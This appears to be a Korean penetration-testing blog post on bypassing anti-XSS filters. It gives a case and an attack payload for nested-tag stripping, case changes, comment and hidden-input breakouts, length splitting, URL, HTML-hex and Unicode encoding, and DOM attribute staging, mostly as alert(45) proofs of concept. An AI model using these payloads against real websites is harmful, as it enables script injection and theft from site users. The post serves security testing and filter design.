Anti-XSS Filter Evasion of XSS

웹 해킹 시 가장 많이 잡는 취약점 중 하나가 XSS와 URL Redirection입니다. 항상 하다보면 꼭! 스크립트로 들어갈 수 있으나 함수 및 특정 특수문자 필터링에 막히는 경우가 종종 있죠. 그래도 여러분들께 재미있는 우회 기법 몇개 공유해드리면 좋을 것 같아서 작성해봅니다.

Default XSS

TAG + Event Handler

XSS 체크 시 가장 먼저 테스트하게 되는 것은 바로 < > ' " 와 같은 특수문자에 대한 테스트입니다. 이 특수문자에 대해 필터링이 되지 않을 시 HTML Tag나 Event Handler를 호출하여 악의적인 스크립트 구문을 만들고 사용자로 하여금 실행하도록 할 수 있습니다. XSS Filter Evasion 이 핵심이기 때문에 기초적인 부분은 제외하고 우회법에 대한 이야기를 하도록 하겠습니다.

일반적으로 필터링에는 White List 기반 필터링과 Black List 기반 필터링이 있습니다. 이것은 대체로 File Upload 취약점에 많이 언급되는 방법이죠. 그러나 XSS 또한 String에 대한 필터링을 하는것이기 때문에 어떠한 방식으로 필터링 되었는가가 중요합니다.

White List 기반 필터링

이 필터링 기법은 허용해야할 태그, 속성을 제외한 나머지 모든 문자열에 대해 필터링 하는 방법입니다. 덕분에 공격자에게 뚫기 힘들다는 절망감을 안겨주지요. 대체로 XSS에 대한 권고 시 가장 추천하는 방식이며 대체로 게시판과 같이 특수문자를 필터링할 수 없어 태그, 속성에 대해 필터링할 때 사용됩니다.

Black List 기반 필터링

이 필터링은 White List와는 반대로 지정한 태그, 속성, 특수문자 등에 대해서만 필터링 처리를 합니다. 물론 White List 보단 헛점이 많겠지만 검색기능과 같이 특수문자가 일반적이지 않은 구간에선 서비스의 성능과 개발 리소스를 고려했을 때 나쁘지 않은 선택입니다. 주로 특수문자 필터링 시 사용되는 방법이며 게시판과 같이 특수문자를 필터링할 수 없는 상황에선 많은 우회 상황을 만들어 내게 됩니다.

위 두 필터링에는 고유한 약점이 있습니다. 바로 필터링 하는 규칙입니다. 공격자는 반복적인 테스트를 통해 이 규칙에 대해 파악하게 되고 정말 튼튼한 필터가 아니라면 대부분 우회하여 공격에 성공하게 됩니다.

White List 필터링 우회

허용해야할 문자 이외에 모든 내용에 대해 필터링하는 이 방법은 사실상 공격하기가 좀 까다롭습니다. 이러한 필터링 규칙은 의미없는 태그나 속성을 사용하여 확인할 수 있습니다. 만약 아래와 같이 존재하지 않는 태그를 입력하였는데 필터링된다면 바로 White List 기반 필터링이지요.

<hahwul>test</hahwul>

이런 필터링은 튼튼하긴 하지만 필터링을 통해 나타나는 데이터에 대해 헛점이 존재할 수 있습니다. 대표적으로 공백으로 바꾸거나 다른 문자열을 만드는 등의 필터링등이 위험합니다. 예시로 아래와 같은 필터링 규칙이 있다고 가정합니다.

Input: <script>alert(45)</script>
Ouput: alert(45)

위에 입력과 출력을 보아 이 필터링은 script 태그가 들어갔을 때 공백으로 바꾸어줌을 알 수 있습니다. 물론 경우가 많기 때문에 여러가지 테스트를 해보는것이 좋습니다. 공격자는 공백으로 바꿔주는 순간을 이용해 새로운 공격코드를 만듭니다.

Input: <scr<script>ipt>alert(45)</scr<script>ipt>
Ouput: <script>alert(45)</script>

이런식으로 우회가 가능합니다. 아주 기초적이고 간단한 방법이지만 아주 많은 서비스에서 이러한 방법으로도 우회가 가능하기도 합니다. 잘 막기 위해서는 여러번 반복하여 필터링해야할 문자열에 대해 필터링이 필요하겠죠. 또 하나 예시를 들어보면 이런 경우도 있습니다.

Input: ";alert(45);//
Output: run="alert(45)";

위 내용은 Javascript 내에 XSS가 들어갔을 때 상황이며 세미콜론과 슬래쉬(주석)이 필터링되어 아쉽게 동작하지 않는 경우입니다. 이럴때는 다른 문자열을 이용하여 구문을 완성 시킬 수 있습니다.

Input: "+alert(45)+prompt("
Output: run=""+alert(45)+run="";

Javascript는 +-를 이용하여 문자열을 합칠 수 있습니다. 위와 같이 각각 더블쿼테이션을 이용해 변수 값을 닫아주고 alert(45)의 return value를 더해줍니다. 그러면 Javascript 구문상에서는 문제가 없게되고 정상 동작하여 공격자가 의도한 alert(45) 함수가 동작하게 됩니다.

Black List 필터링 우회

White List와 다르게 Black List는 쉽게 우회가 가능합니다. 일단 White List에선 사용한 방법은 물론 필터링되지 않은 태그나 문자열을 찾는것이 중요합니다. 이건 태그/속성에 대해 미리 코드를 만들어두고 한번에 테스트하는 것이 편리합니다. 예를 들면 아래와 같겠죠.

<script>alert(1)</script>
<iframe src=javascript:alert(2)></iframe>
<img src="z" onerror="alert(3)">
<input autofocus onfocus="alert(4)">
...

이런식으로 번호를 지정해두면 나중에 찾기도 좋고 쓸만합니다.

White List에서 설명한 필터링 규칙을 이용한 우회 방법은 정말 많습니다. 아마 규칙에 따라 무한대로 방법을 만들어낼 수 있겠지요. 이 과정에서 가장 중요한 것은 필터링 규칙 파악입니다. 규칙만 정확하게 파악되면 약점을 찾기 쉽기 때문에 이러한 시야를 키우는것이 필요합니다.

Tag -> Blank

Filter: Tag -> Blank
Case
Input: <script>alert(45)</script>
Ouput: alert(45)

Attack
Input: <scr<script>ipt>alert(45)</scr<script>ipt>
Ouput: <script>alert(45)</script>

공격코드 필터링

Filter: 공격코드 필터링
Case
Input: " onerror=document.location.href="www.hahwul.com"
Output: //Filtered..

Attack
Input: " onerror=document.loc(at)ion.href="www.hahwul.com"
Output: " onerror=document.location.href="www.hahwul.com"

특수문자 필터링

Filter: 특수문자 필터링
Case
Input: ";alert(45);//
Output: run="alert(45)";

Attack
Input: "+alert(45)+prompt("
Output: run=""+alert(45)+run="";

주요태그 필터링

Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <ScRipT>alert(45)</scRipT>
Ouput: <ScRipT>alert(45)</scRipT>

공격코드 필터링

Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <script>prompt`45`</script>
Ouput: <script>prompt`45`</script>

길이 기반 제어

Filter: Length
Case
Input: <script>alert(45)</script>
Ouput: <script>alert(

Attack
Input1: <script>/*
Input2: */alert(45);/*
Input3: */</scrpit>
Ouput: <script>/*
asfdasdfasfasf
asfasdfasf
*/alert(45)/*
asdfasdfasf
asdfasfd*/</script>

주석

Filter: 주석으로 처리
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed Tag :: <script>alert(45)</script> -->

Attack
Input: --><script>alert(45)</script>
Ouput: <!-- Not Allowed Tag :: --><script>alert(45)</script> -->

Hidden

Filter: 구문 필터링(Hidden 속성)
Case
Input: " onerror=alert(45) z="
Ouput: <input value="" onerror=alert(45) z="" type="hidden">

Attack
Input: " type="text" onerror=alert(45) z="
Ouput: <input value="" type="text" onerror=alert(45) z="" type="hidden">

구문 필터링

Filter: 구문 필터링
Case
Input: " onerror=alert(45) z="
Ouput: <input value="&quot onerror=alert(45) z=&quot">

Attack
Input: \" onerror=alert(45)
Ouput: <input value="\" onerror=alert(45) ="">

Encoding을 이용한 XSS

인코딩을 이용한 필터링 우회 기법은 가장 고전적이면서도 잘 사용되는 방법입니다. 실제로 개발자가 XSS 필터를 만들 때 인코딩에 대해서 완벽히 고려한 후 필터링하기는 굉장히 어렵습니다. 그만큼 이 방법이 우회하기 좋은 포인트라는 말이죠. XSS 이외 여러 공격에도 사용되어 자료가 많기 떄문에 간단하게 짚고 넘어가겠습니다. 궁금할땐 구글링이 제일이죠.

URL Encoding

가장 기본적인 인코딩 기법입니다. 기본적으로 웹 브라우저를 타고 데이터가 넘어갈 때 URL 인코딩되어 넘어가게 되는데 이 인코딩은 특수문자 및 한글에 대해 인코딩됩니다. 그러나 URL 인코딩은 이외에도 각 알파벳 단어 또한 지원하기 때문에 필터링을 우회하기 위해 많이 사용됩니다.

예시를 들면 아래와 같은 형태의 인코딩이 가능하겠네요.

구문 필터링

Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <sc%72ipt>alert(45)</script>
Ouput: <script>alert(45)</script>

위와 같이 문자열을 인코딩하여 구문 필터링을 우회할 수 있고 특수문자 또한 인코딩을 통해 필터링을 우회한 후 XSS로 동작할 수 있습니다. %3c%73%63%72%69%70%74%3ealert(45)%3c%2f%73%63%72%69%70%74%3e 이런식으로 특수문자부터 구문까지 다양하게 사용할 수 있습니다. 또한 웹 사용 시 URL 인코딩이 되지 않는 문자열 또한 인코딩하여 전송이 가능합니다.

대표적으로 괄호에 대해 필터링 시 ( ) 를 의미하는 %28, %29 를 사용하여 스크립트 구문을 넣을수도 있지요.

HTML HEX(Char) Encoding

사실 HEX 인코딩이나 URL 인코딩이나 비슷비슷합니다. 둘다 Ascii를 기반으로 동일한 숫자 패턴을 사용하기 때문에 자주 해보시면 인코딩된 문자랑 일반 문자랑 바로 매칭이 됩니다. HTML Char는 &#x를 이용하여 Ascii형태의 숫자를 가지고 문자를 명시할 수 있습니다. 위에서 본 것 같이 < > 에 대한 인코딩을 적용하면 아래와 같겠네요.

<  = &#x3c;
>  = &#x3e;

공격코드처럼 꾸며보면 뭐 이런식이겠네요.

&#x3c;script&#x3e;alert(45)&#x3c;/script&#x3e;

인코딩을 통한 공격은 쉽게 막을 수 있습니다. 그러나 HTML HEX(Char)의 장점이자 재미있는 내용은 0 을 이용해서 동일한 문자를 다르게 표현할 수 있다는겁니다. 개발자는 아래 공격코드에 대해 필터링을 하였습니다.

Input: &#x3c;script&#x3e;alert(45)&#x3c;/script&#x3e;
Output: &lt;script&gt;alert(45)&lt;/script&gt;

이렇게 되었을 시 HTML 내에서 정상적으로 작동하지 않게 되어 XSS에 취약하지 않은 상태입니다. 그러나 공격자는 0 을 이용해서 여러가지 공격코드를 만들어 낼 수 있습니다.

Input: &#x003c;script&#x003e;alert(45)&#x003c;/script&#x003e;
Input: &#x00003c;script&#x00003e;alert(45)&#x00003c;/script&#x00003e;
Input: &#x0000003c;script&#x0000003e;alert(45)&#x0000003c;/script&#x0000003e;
Input: &#x000000003c;script&#x000000003e;alert(45)&#x000000003c;/script&#x000000003e;

Ouput: <script>alert(45)</script>

이런식의 코드 구성도 가능하겠네요.

 <A HREF="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;    &#x34;&#x35;&#x29;">XSS</A>

=> javascript:alert(45)

Unicode Encoding

유니코드도 XSS에 많이 사용되는 인코딩 중 하나입니다. 이 인코딩 방법은 %u에 각각 String에 대한 값을 가지고 인코딩된 문자열을 만들 수 있습니다.

<br> => %u003cbr%u003e

위에랑 비슷한 방법으로 필터링을 우회할 수 있겠지요.

DOM 영역을 이용한 XSS 우회

DOM Base XSS 많이 들어보셨을겁니다. DOM(Document Object Model)은 HTML의 Document를 의미하며 사용자가 고려된 동적인 영역입니다. 이런 DOM 영역에서의 XSS를 DOM XSS라고 부르지만 이번 내용에서는 DOM 을 이용해서 필터링을 우회하는 방법에 대해 작성할까 합니다. 일단 DOM에 대해 어느정도 알고가야 좋습니다.

DOM은 !doctype 최상위 요소인 #document 부터 시작되며 Element, Node로 이루어집니다. XSS를 해보셨다면 document가 굉장히 익숙할 껍니다. location.href로 페이지를 넘기는 등의 행위를 하던게 바로 DOM입니다.

DOM
 Document -> Element -> Node

아래 Case는 img 태그와 핸들러를 이용해서 구문삽입을 하였지만 스크립트 내 “:”와 “(,)” 에 대한 필터링으로 공격이 어려웠던 케이스였습니다. 이친구는 위 특수문자 들이 삽입된 후 불러오는중에 해당 문자가 구문에 포함되면 필터링하는 구조를 가지고 있었습니다. 그래서 아래와 같이 testz라는 Element node 내 title 영역에 공격구문을 넣고 취약 구간에서 불러오는 식으로 우회하였습니다.

<img id="testz" title="javascript:alert(45)">
<img src="z" onerror="document.location.href=document.testz.title">

각각 document 내 Element는 여러가지 속성값을 가지고있고 해당 속성에 대한 정보를 DOM 영역에서 불러올 수 있습니다. 공격자는 DOM 영역에 공격코드를 넣어두고 불러와서 필터링을 우회하여 공격할 수 있는 상황 또한 가능하겠지요.